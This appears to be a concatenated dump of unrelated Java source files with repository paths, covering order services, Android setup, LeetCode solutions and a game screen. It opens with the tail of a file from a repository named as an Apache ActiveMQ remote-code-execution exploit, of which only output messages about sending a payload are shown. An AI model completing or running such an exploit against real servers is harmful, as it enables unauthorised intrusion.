ip + ":" + port); System.out.println("[*] XML address\t" + pocxml); System.out.println("[*] Payload send success."); } }
sincere9/Apache-ActiveMQ-RCE
exp/ActiveMQ.java
65,544
/** * Copyright (c) 2005-2012 https://github.com/zhangkaitao * * Licensed under the Apache License, Version 2.0 (the "License"); */ package com.sishuok.es.sys.auth.task; import com.google.common.base.Function; import com.google.common.collect.Lists; import com.google.common.collect.Sets; import com.sishuok.es.common.repository.RepositoryHelper; import com.sishuok.es.common.utils.LogUtils; import com.sishuok.es.sys.auth.entity.Auth; import com.sishuok.es.sys.auth.service.AuthService; import com.sishuok.es.sys.group.service.GroupService; import com.sishuok.es.sys.organization.service.JobService; import com.sishuok.es.sys.organization.service.OrganizationService; import com.sishuok.es.sys.permission.entity.Role; import com.sishuok.es.sys.permission.service.RoleService; import org.springframework.aop.framework.AopContext; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.data.domain.PageRequest; import org.springframework.data.domain.Pageable; import org.springframework.stereotype.Service; import java.util.Collection; import java.util.Set; /** * 清理Auth无关联的关系 * 1、Auth-Role * 2、Auth-Organization/Job * 3、Auth-Group * <p/> * <p>User: Zhang Kaitao * <p>Date: 13-5-18 下午1:44 * <p>Version: 1.0 */ @Service public class AuthRelationClearTask { @Autowired private AuthService authService; @Autowired private RoleService roleService; @Autowired private GroupService groupService; @Autowired private OrganizationService organizationService; @Autowired private JobService jobService; /** * 清除删除的角色对应的关系 */ public void clearDeletedAuthRelation() { Set<Long> allRoleIds = findAllRoleIds(); final int PAGE_SIZE = 100; int pn = 0; Page<Auth> authPage = null; do { Pageable pageable = new PageRequest(pn++, PAGE_SIZE); authPage = authService.findAll(pageable); //开启新事物清除 try { AuthRelationClearTask authRelationClearService = (AuthRelationClearTask) AopContext.currentProxy(); authRelationClearService.doClear(authPage.getContent(), allRoleIds); } catch (Exception e) { //出异常也无所谓 LogUtils.logError("clear auth relation error", e); } //清空会话 RepositoryHelper.clear(); } while (authPage.hasNextPage()); } public void doClear(Collection<Auth> authColl, Set<Long> allRoleIds) { for (Auth auth : authColl) { switch (auth.getType()) { case user: break;//因为用户是逻辑删除不用管 case user_group: case organization_group: if (!groupService.exists(auth.getGroupId())) { authService.delete(auth); continue; } break; case organization_job: if (!organizationService.exists(auth.getOrganizationId())) { auth.setOrganizationId(0L); } if (!jobService.exists(auth.getOrganizationId())) { auth.setJobId(0L); } //如果组织机构/工作职务都为0L 那么可以删除 if (auth.getOrganizationId() == 0L && auth.getJobId() == 0L) { authService.delete(auth); continue; } break; } boolean hasRemovedAny = auth.getRoleIds().retainAll(allRoleIds); if (hasRemovedAny) { authService.update(auth); } } } private Set<Long> findAllRoleIds() { return Sets.newHashSet(Lists.transform(roleService.findAll(), new Function<Role, Long>() { @Override public Long apply(Role input) { return input.getId(); } })); } }
zhangkaitao/es
web/src/main/java/com/sishuok/es/sys/auth/task/AuthRelationClearTask.java
65,545
package com.bing.lan.comm.app; import android.app.Application; import android.content.Context; import android.os.Environment; import android.support.multidex.MultiDex; import com.bing.lan.comm.utils.AppUtil; import com.orhanobut.logger.Logger; import com.squareup.otto.Bus; import com.squareup.otto.ThreadEnforcer; import com.uuzuche.lib_zxing.activity.ZXingLibrary; import java.io.File; import cn.jpush.android.api.JPushInterface; /** * @author 蓝兵 * @time 2017/1/9 18:26 */ public class BaseApplication extends Application { //1.创建一个静态的事件总线 public static Bus sBus; // TODO: 2017/3/17 要注意减小包 //不加会导致报错 因为方法数太多了 // java.lang.NoClassDefFoundError: okhttp3.OkHttpClient$Builder protected void attachBaseContext(Context base) { super.attachBaseContext(base); MultiDex.install(base); } @Override public void onCreate() { super.onCreate(); //全局初始化 AppUtil.initGlobal(this, getApplicationContext()); //二维码 ZXingLibrary.initDisplayOpinion(this); //otto if (sBus == null) { //ANY是说该事件总线 在哪条线程中运行 无所谓 sBus = new Bus(ThreadEnforcer.ANY); } //图片加载 // Fresco.initialize(this); //错误报告 //ErrorReport.getInstance().init(this); JPushInterface.setDebugMode(true); JPushInterface.init(this); // File cache = getCacheFile(); // // DiskCacheConfig diskCacheConfig = DiskCacheConfig.newBuilder(this) // .setBaseDirectoryPath(cache) // .build(); // // ImagePipelineConfig config = ImagePipelineConfig.newBuilder(this) // .setDownsampleEnabled(true) // .setMainDiskCacheConfig(diskCacheConfig) // .build(); // // Fresco.initialize(this, config); Logger.init("hked"); } private File getCacheFile() { File sd = Environment.getExternalStorageDirectory(); File cache = new File(sd, "mm"); if (!cache.exists()) { cache.mkdirs(); } return cache; } }
lanboys/FM
app/src/main/java/com/bing/lan/comm/app/BaseApplication.java
65,547
package com.mashibing.streamtype; import java.io.Serializable; /** * @author: 马士兵教育 * @create: 2019-09-22 21:47 */ /** * 1、如果需要将对象通过io流进行传输,那么必须要实现序列化接口 * 2、当前类中必须声明一个serialVersionUID的值,值为多少无所谓,但是要有 * 3、transient:使用此关键字修饰的变量,在进行序列化的时候,不会别序列化 * */ public class Person implements Serializable { long serialVersionUID = 1L; private int id; private String name; transient private String pwd; public Person() { } public Person(int id, String name, String pwd) { this.id = id; this.name = name; this.pwd = pwd; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPwd() { return pwd; } public void setPwd(String pwd) { this.pwd = pwd; } @Override public String toString() { return "Person{" + "id=" + id + ", name='" + name + '\'' + ", pwd='" + pwd + '\'' + '}'; } }
bjmashibing/java
javase/code/io_demo/src/com/mashibing/streamtype/Person.java
65,548
package com.mall4j.cloud.order.service.impl; import cn.hutool.core.collection.CollectionUtil; import com.mall4j.cloud.api.leaf.feign.SegmentFeignClient; import com.mall4j.cloud.api.order.bo.EsOrderBO; import com.mall4j.cloud.api.order.bo.OrderSimpleAmountInfoBO; import com.mall4j.cloud.api.order.bo.OrderStatusBO; import com.mall4j.cloud.api.order.constant.DeliveryType; import com.mall4j.cloud.api.order.constant.OrderStatus; import com.mall4j.cloud.api.order.dto.DeliveryOrderDTO; import com.mall4j.cloud.api.order.vo.OrderAmountVO; import com.mall4j.cloud.api.product.dto.SkuStockLockDTO; import com.mall4j.cloud.api.product.feign.ShopCartFeignClient; import com.mall4j.cloud.api.product.feign.SkuStockLockFeignClient; import com.mall4j.cloud.common.exception.Mall4cloudException; import com.mall4j.cloud.common.order.vo.ShopCartItemVO; import com.mall4j.cloud.common.order.vo.ShopCartOrderMergerVO; import com.mall4j.cloud.common.order.vo.ShopCartOrderVO; import com.mall4j.cloud.common.response.ResponseEnum; import com.mall4j.cloud.common.response.ServerResponseEntity; import com.mall4j.cloud.common.rocketmq.config.RocketMqConstant; import com.mall4j.cloud.common.security.AuthUserContext; import com.mall4j.cloud.order.bo.SubmitOrderPayAmountInfoBO; import com.mall4j.cloud.order.mapper.OrderMapper; import com.mall4j.cloud.order.model.Order; import com.mall4j.cloud.order.model.OrderAddr; import com.mall4j.cloud.order.model.OrderItem; import com.mall4j.cloud.order.service.OrderAddrService; import com.mall4j.cloud.order.service.OrderItemService; import com.mall4j.cloud.order.service.OrderService; import com.mall4j.cloud.order.vo.OrderCountVO; import com.mall4j.cloud.order.vo.OrderVO; import io.seata.spring.annotation.GlobalTransactional; import com.mall4j.cloud.common.util.BeanUtil; import org.apache.rocketmq.client.producer.SendStatus; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.messaging.support.GenericMessage; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.Objects; /** * 订单信息 * * @author FrozenWatermelon * @date 2020-12-05 14:13:50 */ @Service public class OrderServiceImpl implements OrderService { private static final Logger log = LoggerFactory.getLogger(OrderServiceImpl.class); @Autowired private OrderMapper orderMapper; @Autowired private OrderItemService orderItemService; @Autowired private SegmentFeignClient segmentFeignClient; @Autowired private SkuStockLockFeignClient skuStockLockFeignClient; @Autowired private ShopCartFeignClient shopCartFeignClient; @Autowired private RocketMQTemplate stockMqTemplate; @Autowired private RocketMQTemplate orderCancelTemplate; @Autowired private OrderAddrService orderAddrService; @Override public void update(Order order) { orderMapper.update(order); } @Override public void deleteById(Long orderId) { orderMapper.deleteById(orderId); } @Override @Transactional(rollbackFor = Exception.class) @GlobalTransactional(rollbackFor = Exception.class) public List<Long> submit(Long userId, ShopCartOrderMergerVO mergerOrder) { List<Order> orders = saveOrder(userId, mergerOrder); List<Long> orderIds = new ArrayList<>(); List<SkuStockLockDTO> skuStockLocks = new ArrayList<>(); for (Order order : orders) { orderIds.add(order.getOrderId()); List<OrderItem> orderItems = order.getOrderItems(); for (OrderItem orderItem : orderItems) { skuStockLocks.add(new SkuStockLockDTO(orderItem.getSpuId(), orderItem.getSkuId(), orderItem.getOrderId(), orderItem.getCount())); } } // 锁定库存 ServerResponseEntity<Void> lockStockResponse = skuStockLockFeignClient.lock(skuStockLocks); // 锁定不成,抛异常,让回滚订单 if (!lockStockResponse.isSuccess()) { throw new Mall4cloudException(lockStockResponse.getMsg()); } // 发送消息,如果三十分钟后没有支付,则取消订单 SendStatus sendStatus = orderCancelTemplate.syncSend(RocketMqConstant.ORDER_CANCEL_TOPIC, new GenericMessage<>(orderIds), RocketMqConstant.TIMEOUT, RocketMqConstant.CANCEL_ORDER_DELAY_LEVEL).getSendStatus(); if (!Objects.equals(sendStatus,SendStatus.SEND_OK)) { // 消息发不出去就抛异常,发的出去无所谓 throw new Mall4cloudException(ResponseEnum.EXCEPTION); } return orderIds; } @Override public List<OrderStatusBO> getOrdersStatus(List<Long> orderIds) { List<OrderStatusBO> orderStatusList = orderMapper.getOrdersStatus(orderIds); for (Long orderId : orderIds) { boolean hasOrderId = false; for (OrderStatusBO orderStatusBO : orderStatusList) { if (Objects.equals(orderStatusBO.getOrderId(), orderId)) { hasOrderId = true; } } if (!hasOrderId) { OrderStatusBO orderStatusBO = new OrderStatusBO(); orderStatusBO.setOrderId(orderId); orderStatusList.add(orderStatusBO); } } return orderStatusList; } @Override public OrderAmountVO getOrdersActualAmount(List<Long> orderIds) { return orderMapper.getOrdersActualAmount(orderIds); } @Override public void updateByToPaySuccess(List<Long> orderIds) { orderMapper.updateByToPaySuccess(orderIds); } @Override public List<OrderSimpleAmountInfoBO> getOrdersSimpleAmountInfo(List<Long> orderIds) { return orderMapper.getOrdersSimpleAmountInfo(orderIds); } /** * 取消订单和mq日志要同时落地,所以用分布式事务 */ @Override @Transactional(rollbackFor = Exception.class) public void cancelOrderAndGetCancelOrderIds(List<Long> orderIds) { List<OrderStatusBO> ordersStatus = orderMapper.getOrdersStatus(orderIds); List<Long> cancelOrderIds = new ArrayList<>(); for (OrderStatusBO orderStatusBO : ordersStatus) { if (orderStatusBO.getStatus() != null || !Objects.equals(orderStatusBO.getStatus(), OrderStatus.CLOSE.value())) { cancelOrderIds.add(orderStatusBO.getOrderId()); } } if (CollectionUtil.isEmpty(cancelOrderIds)) { return; } orderMapper.cancelOrders(cancelOrderIds); // 解锁库存状态 SendStatus stockSendStatus = stockMqTemplate.syncSend(RocketMqConstant.STOCK_UNLOCK_TOPIC, new GenericMessage<>(orderIds)).getSendStatus(); if (!Objects.equals(stockSendStatus,SendStatus.SEND_OK)) { // 消息发不出去就抛异常,发的出去无所谓 throw new Mall4cloudException(ResponseEnum.EXCEPTION); } } @Override public Order getOrderByOrderIdAndUserId(Long orderId, Long userId) { Order order = orderMapper.getOrderByOrderIdAndUserId(orderId, userId); if (order == null) { // 订单不存在 throw new Mall4cloudException(ResponseEnum.ORDER_NOT_EXIST); } return order; } @Override public OrderVO getOrderByOrderId(Long orderId) { Order order = orderMapper.getOrderByOrderIdAndShopId(orderId, AuthUserContext.get().getTenantId()); if (order == null) { // 订单不存在 throw new Mall4cloudException(ResponseEnum.ORDER_NOT_EXIST); } return BeanUtil.map(order, OrderVO.class); } /** * 确认收货订单 */ @Override @Transactional(rollbackFor = Exception.class) public int receiptOrder(Long orderId) { return orderMapper.receiptOrder(orderId); } @Override public void deleteOrder(Long orderId) { orderMapper.deleteOrder(orderId); } @Override @Transactional(rollbackFor = Exception.class) @GlobalTransactional(rollbackFor = Exception.class) public void delivery(DeliveryOrderDTO deliveryOrderParam) { //修改为发货状态 Date date = new Date(); Order order = new Order(); order.setOrderId(deliveryOrderParam.getOrderId()); order.setStatus(OrderStatus.CONSIGNMENT.value()); order.setUpdateTime(date); order.setDeliveryTime(date); //无需物流 order.setDeliveryType(DeliveryType.NOT_DELIVERY.value()); orderMapper.update(order); } @Override public SubmitOrderPayAmountInfoBO getSubmitOrderPayAmountInfo(long[] orderIdList) { return orderMapper.getSubmitOrderPayAmountInfo(orderIdList); } @Override public EsOrderBO getEsOrder(Long orderId) { return orderMapper.getEsOrder(orderId); } public List<Order> saveOrder(Long userId, ShopCartOrderMergerVO mergerOrder) { OrderAddr orderAddr = BeanUtil.map(mergerOrder.getUserAddr(), OrderAddr.class); // 地址信息 if (Objects.isNull(orderAddr)) { // 请填写收货地址 throw new Mall4cloudException("请填写收货地址"); } // 保存收货地址 orderAddrService.save(orderAddr); // 订单商品参数 List<ShopCartOrderVO> shopCartOrders = mergerOrder.getShopCartOrders(); List<Order> orders = new ArrayList<>(); List<OrderItem> orderItems = new ArrayList<>(); List<Long> shopCartItemIds = new ArrayList<>(); if(CollectionUtil.isNotEmpty(shopCartOrders)) { // 每个店铺生成一个订单 for (ShopCartOrderVO shopCartOrderDto : shopCartOrders) { Order order = getOrder(userId, mergerOrder.getDvyType(), shopCartOrderDto); for (ShopCartItemVO shopCartItemVO : shopCartOrderDto.getShopCartItemVO()) { OrderItem orderItem = getOrderItem(order, shopCartItemVO); orderItems.add(orderItem); shopCartItemIds.add(shopCartItemVO.getCartItemId()); } order.setOrderItems(orderItems); order.setOrderAddrId(orderAddr.getOrderAddrId()); orders.add(order); } } orderMapper.saveBatch(orders); orderItemService.saveBatch(orderItems); // 清空购物车 shopCartFeignClient.deleteItem(shopCartItemIds); return orders; } private OrderItem getOrderItem(Order order, ShopCartItemVO shopCartItem) { OrderItem orderItem = new OrderItem(); orderItem.setOrderId(order.getOrderId()); orderItem.setShopId(shopCartItem.getShopId()); orderItem.setSkuId(shopCartItem.getSkuId()); orderItem.setSpuId(shopCartItem.getSpuId()); orderItem.setSkuName(shopCartItem.getSkuName()); orderItem.setCount(shopCartItem.getCount()); orderItem.setSpuName(shopCartItem.getSpuName()); orderItem.setPic(shopCartItem.getImgUrl()); orderItem.setPrice(shopCartItem.getSkuPriceFee()); orderItem.setUserId(order.getUserId()); orderItem.setSpuTotalAmount(shopCartItem.getTotalAmount()); orderItem.setShopCartTime(shopCartItem.getCreateTime()); // 订单项支付金额 orderItem.setSpuTotalAmount(shopCartItem.getTotalAmount()); return orderItem; } private Order getOrder(Long userId, Integer dvyType, ShopCartOrderVO shopCartOrderDto) { ServerResponseEntity<Long> segmentIdResponse = segmentFeignClient.getSegmentId(Order.DISTRIBUTED_ID_KEY); if (!segmentIdResponse.isSuccess()) { throw new Mall4cloudException("获取订单id失败"); } // 订单信息 Order order = new Order(); order.setOrderId(segmentIdResponse.getData()); order.setShopId(shopCartOrderDto.getShopId()); order.setShopName(shopCartOrderDto.getShopName()); // 用户id order.setUserId(userId); // 商品总额 order.setTotal(shopCartOrderDto.getTotal()); order.setStatus(OrderStatus.UNPAY.value()); order.setIsPayed(0); order.setDeleteStatus(0); order.setAllCount(shopCartOrderDto.getTotalCount()); order.setDeliveryType(DeliveryType.NOT_DELIVERY.value()); return order; } @Override public Order getOrderAndOrderItemData(Long orderId, Long shopId) { return orderMapper.getOrderAndOrderItemData(orderId, shopId); } @Override public OrderCountVO countNumberOfStatus(Long userId) { return orderMapper.countNumberOfStatus(userId); } }
gz-yami/mall4cloud
mall4cloud-order/src/main/java/com/mall4j/cloud/order/service/impl/OrderServiceImpl.java
65,549
public class Solution { /** * @param nums: a mountain sequence which increase firstly and then decrease * @return: then mountain top */ public int mountainSequence(int[] nums) { if (nums == null || nums.length == 0) { return -1; } int left = 0, right = nums.length - 1; while (left + 1 < right) { int mid = left + (right - left) / 2; if (nums[mid] > nums[mid + 1]) { right = mid; } else { left = mid; } } return Math.max(nums[left], nums[right]); } } /* 算法:binary search ** 难点:一般情况下if中间是否有等于,无所谓,但是要判断清楚 */
Mol1122/leetcode
585. Maximum Number in Mountain Sequence.java
65,550
import java.util.ArrayList; import java.util.List; /* * @lc app=leetcode.cn id=22 lang=java * * [22] 括号生成 * * 1、暴力:生成所有括号,取出其中合法的部分 * 2、回溯:通过跟踪到目前为止放置的左括号和右括号的数目来判断序列是否仍然保持有效,然后才添加 '(' or ')' * 如果我们还剩一个位置,我们可以开始放一个左括号。 如果它不超过左括号的数量,我们可以放一个右括号 * 3、闭合数:https://leetcode-cn.com/problems/generate-parentheses/solution/gua-hao-sheng-cheng-by-leetcode/ */ class Solution { public List<String> generateParenthesis1(int n) { List<String> res = new ArrayList<>(); generateAll(res, new char[n * 2], 0); return res; } private void generateAll(List<String> res, char[] cur, int index) { if (index == cur.length) { // 每递归生成一个括号就判断其合法性 if (isValid(cur)) { res.add(new String(cur)); } } else { // 这个先 '(' 和 ')' 无所谓,最后isValid剔除不合法的 cur[index] = '('; generateAll(res, cur, index + 1); cur[index] = ')'; generateAll(res, cur, index + 1); } } private boolean isValid(char[] cur) { int balance = 0; for (char chr : cur) { if (chr == '(') { balance++; } else { balance--; } if (balance < 0) { return false; } } return balance == 0; } public List<String> generateParenthesis2(int n) { List<String> res = new ArrayList<>(); process2(res, "", 0, 0, n); return res; } private void process2(List<String> res, String cur, int countLeft, int countRight, int n) { if (cur.length() == n * 2) { res.add(cur); return; } // 先加"(", 当右括号的数量小于左括号时, 再加")", 保证括号的合法性 if (countLeft < n) { process2(res, cur + "(", countLeft + 1, countRight, n); } if (countRight < countLeft) { process2(res, cur + ")", countLeft, countRight + 1, n); } } }
A11Might/leetcode
src/lc022.java
65,551
package com.landscape.dragcalendar.adapter; import android.support.v4.view.PagerAdapter; import android.view.View; /** * Created by Administrator on 2016/6/13 0013. */ public class CalendarBaseAdapter extends PagerAdapter { int mChildCount = 0; /** * 是否拦截事件 * */ public static boolean is=false; public static boolean is() { return is; } @Override public void notifyDataSetChanged() { mChildCount = getCount(); super.notifyDataSetChanged(); } @Override public int getItemPosition(Object object) { if (mChildCount > 0) { mChildCount--; return POSITION_NONE; } return super.getItemPosition(object); } @Override public int getCount() {//无所谓 return 0; } @Override public boolean isViewFromObject(View view, Object object) {//无所谓 return false; } }
landscapeside/DragCalendar
app/src/main/java/com/landscape/dragcalendar/adapter/CalendarBaseAdapter.java
65,552
package class060; import java.util.Arrays; import java.util.PriorityQueue; // 来自阿里 // 给定int[][] meetings,比如 // { // {66, 70} 0号会议截止时间66,获得收益70 // {25, 90} 1号会议截止时间25,获得收益90 // {50, 30} 2号会议截止时间50,获得收益30 // } // 一开始的时间是0,任何会议都持续10的时间,但是一个会议一定要在该会议截止时间之前开始 // 只有一个会议室,任何会议不能共用会议室,一旦一个会议被正确安排,将获得这个会议的收益 // 请返回最大的收益 public class Code02_MaxMeetingScore { public static int maxScore1(int[][] meetings) { Arrays.sort(meetings, (a, b) -> a[0] - b[0]); int[][] path = new int[meetings.length][]; int size = 0; return process1(meetings, 0, path, size); } public static int process1(int[][] meetings, int index, int[][] path, int size) { if (index == meetings.length) { int time = 0; int ans = 0; for (int i = 0; i < size; i++) { if (time + 10 <= path[i][0]) { ans += path[i][1]; time += 10; } else { return 0; } } return ans; } int p1 = process1(meetings, index + 1, path, size); path[size] = meetings[index]; int p2 = process1(meetings, index + 1, path, size + 1); // path[size] = null; return Math.max(p1, p2); } // 所有会议,先根据截止时间排序 // [10,40] 、 [5,32] -> [5,32] [10,40] // 比较器!java c++ 重载比较运算符 public static int maxScore2(int[][] meetings) { Arrays.sort(meetings, (a, b) -> a[0] - b[0]); // 小根堆,里面放收益,收益小的在顶,收益大的在底 PriorityQueue<Integer> heap = new PriorityQueue<>(); int time = 0; // 已经把所有会议,按照截止时间,从小到大,排序了! // 截止时间一样的,谁排前谁排后,无所谓 for (int i = 0; i < meetings.length; i++) { if (time + 10 <= meetings[i][0]) { heap.add(meetings[i][1]); time += 10; } else { // 不能通过增加会议数量,来安排;只能看,能不能挤掉之前的、最不行的会议 if (!heap.isEmpty() && heap.peek() < meetings[i][1]) { heap.poll(); heap.add(meetings[i][1]); } } } int ans = 0; while (!heap.isEmpty()) { ans += heap.poll(); } return ans; } public static int[][] randomMeetings(int n, int t, int s) { int[][] ans = new int[n][2]; for (int i = 0; i < n; i++) { ans[i][0] = (int) (Math.random() * t) + 1; ans[i][1] = (int) (Math.random() * s) + 1; } return ans; } public static int[][] copyMeetings(int[][] meetings) { int n = meetings.length; int[][] ans = new int[n][2]; for (int i = 0; i < n; i++) { ans[i][0] = meetings[i][0]; ans[i][1] = meetings[i][1]; } return ans; } public static void main(String[] args) { int n = 12; int t = 100; int s = 500; int testTime = 10000; System.out.println("测试开始"); for (int i = 0; i < testTime; i++) { int size = (int) (Math.random() * n) + 1; int[][] meetings1 = randomMeetings(size, t, s); int[][] meetings2 = copyMeetings(meetings1); int ans1 = maxScore1(meetings1); int ans2 = maxScore2(meetings2); if (ans1 != ans2) { System.out.println("出错了!"); System.out.println(ans1); System.out.println(ans2); } } System.out.println("测试结束"); } }
algorithmzuo/publicclass2020
src/class060/Code02_MaxMeetingScore.java
65,553
package org.mossmc.mosscg.DGLABOI.Bluetooth; import org.mossmc.mosscg.DGLABOI.BasicInfo; public class BluetoothWave { @SuppressWarnings({"InfiniteLoopStatement"}) public static void waveSender() { while (true) { try { //随便照着郊狼文档搓了个波形,无所谓,能用就行 sendBoth(5,135,20); sendBoth(5,125,20); sendBoth(5,115,20); sendBoth(5,105,20); sendBoth(5,95,20); sendBoth(4,86,20); sendBoth(4,76,20); sendBoth(4,66,20); sendBoth(3,57,20); sendBoth(3,47,20); sendBoth(3,37,20); sendBoth(2,28,20); sendBoth(2,18,20); sendBoth(1,14,20); sendBoth(1,9,20); } catch (Exception e) { BasicInfo.logger.sendException(e); } } } public static void sendBoth(int x,int y,int z) throws InterruptedException { BluetoothControl.sendWave("A",x,y,z); BluetoothControl.sendWave("B",x,y,z); Thread.sleep(100); } }
MossCG/DGLAB-OI
src/main/java/org/mossmc/mosscg/DGLABOI/Bluetooth/BluetoothWave.java
65,555
package com.malong.manaomall.common.utils; import android.content.Context; import android.graphics.Typeface; import com.mikepenz.iconics.typeface.IIcon; import com.mikepenz.iconics.typeface.ITypeface; import java.util.Collection; import java.util.HashMap; import java.util.LinkedList; /** * Created by Malong * on 18/6/14. * 自定义svg矢量图工具类 */ public class IconUtils implements ITypeface { private static final String TTF_FILE = "iconfont.ttf"; private static Typeface typeface = null; private static HashMap<String, Character> mChars; @Override public IIcon getIcon(String key) { return Icon.valueOf(key); } @Override public HashMap<String, Character> getCharacters() { if (mChars == null) { HashMap<String, Character> aChars = new HashMap<String, Character>(); for (IconUtils.Icon v : IconUtils.Icon.values()) { aChars.put(v.name(), v.character); } mChars = aChars; } return mChars; } @Override public String getMappingPrefix() { return "ion";//前缀:需跟枚举中的起始一致,注意:前缀必须是三个字母 } @Override public String getFontName() { return "IconUtils";//字体名字:无所谓 } @Override public String getVersion() { return "1.0.0";//版本:无所谓 } @Override public int getIconCount() { return mChars.size(); } @Override public Collection<String> getIcons() { Collection<String> icons = new LinkedList<String>(); for (IconUtils.Icon value : IconUtils.Icon.values()) { icons.add(value.name()); } return icons; } @Override public String getAuthor() { return "Malong";//作者:无所谓 } @Override public String getUrl() { return "http://malong.com/";//域名:无所谓 } @Override public String getDescription() { return "The premium icon font for Ionic Framework.";//无所谓 } @Override public String getLicense() { return "MIT Licensed";//无所谓 } @Override public String getLicenseUrl() { return "https://malong.com";//授权地址:无所谓 } @Override public Typeface getTypeface(Context context) { if (typeface == null) { try { typeface = Typeface.createFromAsset(context.getAssets(), TTF_FILE);//自定义后引用的地址assets里文件名 } catch (Exception e) { return null; } } return typeface; } public enum Icon implements IIcon { /** * 这里写自定义的图标uncode * 注意:前缀必须是三个字母 */ ion_yuwen('\ue603'), ion_shuxue('\ue604'), ion_wuli('\ue605'), ion_liyi('\ue606'), ion_youyong('\ue607'), ion_taolun('\ue608'), ion_putonghua('\ue609'), ion_wudao('\ue60a'), ion_shetuan('\ue60b'), ion_gongchenghuitu('\ue60c'), ion_xinlijiankang('\ue60d'), ion_kaoyan('\ue60e'), ion_chuangye('\ue60f'), ion_junshiliun('\ue610'), ion_xingshizhengce('\ue611'), ion_tongji('\ue612'), ion_jingji('\ue613'), ion_pingmian('\ue614'), ion_dianzijishu('\ue615'), ion_dianshang('\ue616'), ion_jisuanji('\ue617'), ion_shufa('\ue618'), ion_guanli('\ue619'), ion_xiaoyuzhong('\ue61a'), ion_yuedu('\ue61b'), ion_banhui('\ue61c'), ion_meishu('\ue61d'), ion_zixi('\ue61e'), ion_yinle('\ue61f'), ion_wuli1('\ue620'), ion_zhengzhi('\ue621'), ion_lishi('\ue622'), ion_huaxue('\ue623'), ion_tiyu('\ue624'), ion_yingyu('\ue625'), ion_shengwu('\ue626'), ion_hangkonghangtian('\ue627'), ion_kongcheng('\ue628'), ion_tianwenxue('\ue629'), ion_jianshenke('\ue62a'), ion_pingpangqiu('\ue62b'), ion_wangqiu('\ue62c'), ion_yumaoqiu('\ue62d'), ion_zuqiu('\ue62e'), ion_paiqiu('\ue62f'), ion_wangluoke('\ue630'), ion_lanqiu('\ue631'), ion_jianzhuke('\ue632'), ion_dangqian('\ue64a'), ion_dianhua('\ue64b'), ion_chengshi('\ue649'), ion_dingwei('\ue64c'), ion_fujin('\ue64d'), ion_geren('\ue64e'), ion_gengduo('\ue64f'), ion_houtui('\ue650'), ion_gonghao('\ue651'), ion_houtui1('\ue652'), ion_huiyishi('\ue653'), ion_jinyong('\ue654'), ion_jiaose('\ue655'), ion_qianjin('\ue656'), ion_mima('\ue657'), ion_shaixuan('\ue658'), ion_rongna('\ue659'), ion_qianjin1('\ue65a'), ion_shijian('\ue65b'), ion_shezhi('\ue65c'), ion_shebei('\ue65d'), ion_shouqi('\ue65e'), ion_shouqi1('\ue65f'), ion_shipin('\ue660'), ion_sousuo('\ue661'), ion_tuichu('\ue662'), ion_tupian('\ue663'), ion_wancheng('\ue664'), ion_xiala('\ue665'), ion_xiala1('\ue666'), ion_youxiang('\ue667'), ion_youhuiquan('\ue668'), ion_zhaiyao('\ue669'), ion_zhankai('\ue66a'), ion_zhiwei('\ue66b'), ion_xiangji('\ue66c'), ion_guanbimima('\ue66d'), ion_bianji('\ue66e'), ion_guanbi('\ue66f'), ion_tuodong('\ue670'), ion_tianjia('\ue671'), ion_paixu('\ue672'), ion_tianjia1('\ue673'), ion_xiazai('\ue674'), ion_shanchu('\ue675'), ion_zhushi('\ue676'), ion_wancheng1('\ue677'), ion_shangchuan('\ue678'), ion_xianshimima('\ue679'); char character; Icon(char character) { this.character = character; } public String getFormattedName() { return "{" + name() + "}"; } public char getCharacter() { return character; } public String getName() { return name(); } // remember the typeface so we can use it later private static ITypeface typeface; public ITypeface getTypeface() { if (typeface == null) { typeface = new IconUtils(); } return typeface; } } }
malongq/MaNao
app/src/main/java/com/malong/manaomall/common/utils/IconUtils.java
65,558
/** * Copyright 2008 - 2011 * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. * * @project loonframework * @author chenpeng * @email:[email protected] * @version 0.1 */ package com.mygame; import loon.LSystem; import loon.LTexture; import loon.action.avg.AVGDialog; import loon.action.sprite.AnimationHelper; import loon.events.GameTouch; import loon.jni.NativeSupport; import loon.srpg.SRPGScreen; import loon.srpg.ability.SRPGDamageData; import loon.srpg.actor.SRPGActor; import loon.srpg.actor.SRPGActorFactory; import loon.srpg.actor.SRPGActorStatus; import loon.srpg.actor.SRPGActors; import loon.srpg.actor.SRPGStatus; import loon.srpg.field.SRPGField; import loon.srpg.field.SRPGFieldElement; import loon.srpg.field.SRPGFieldElements; import loon.srpg.field.SRPGTeams; import loon.utils.ArrayMap; import loon.utils.MathUtils; import loon.utils.timer.LTimerContext; /** * 此示例暂时不能运行在HTML5之上(因为GWT不支持多线程) */ public class MySRPGScreen extends SRPGScreen { public MySRPGScreen() { // super("assets/map.txt", AVGDialog.getRMXPDialog("assets/w11.png", 460, 150), 48, 48); // 不使用回合交替特效进行提示 setPhase(false); } /** * 设置当前地图中索引与具体地图瓦片的对应关系 */ protected void initFieldElementConfig(SRPGFieldElements elements) { // LGame默认提供了22种基础地形,不同的地形对应了不同的移动限制效果. // 当然,用户可以在需要时自行扩展. elements.putBattleElement(0, ELEMENT_PALACE, "皇宫"); elements.putBattleElement(1, ELEMENT_WALL, "雕塑"); } protected void initMapConfig(SRPGField field) { field.setBigImageMap("assets/map.png"); } protected void winnerCheck() { } protected boolean startSrpgProcess() { return false; } protected boolean endSrpgProcess() { return false; } private SRPGActor p, hero, hero1; protected void initActorConfig(SRPGActors actors) { // 载入默认的角色及技能设置 actors.makeDefActors(); // 自定义角色状态 SRPGActorStatus status = new SRPGActorStatus(); status.status_jobname = "人形自走炮"; status.status_max_hp = new float[] { 180F, 9F }; status.status_max_mp = new float[] { 100F, 1.0F }; status.status_power = new float[] { 140F, 8.8F }; status.status_vitality = new float[] { 145F, 6.5F }; status.status_agility = new float[] { 140F, 4F }; 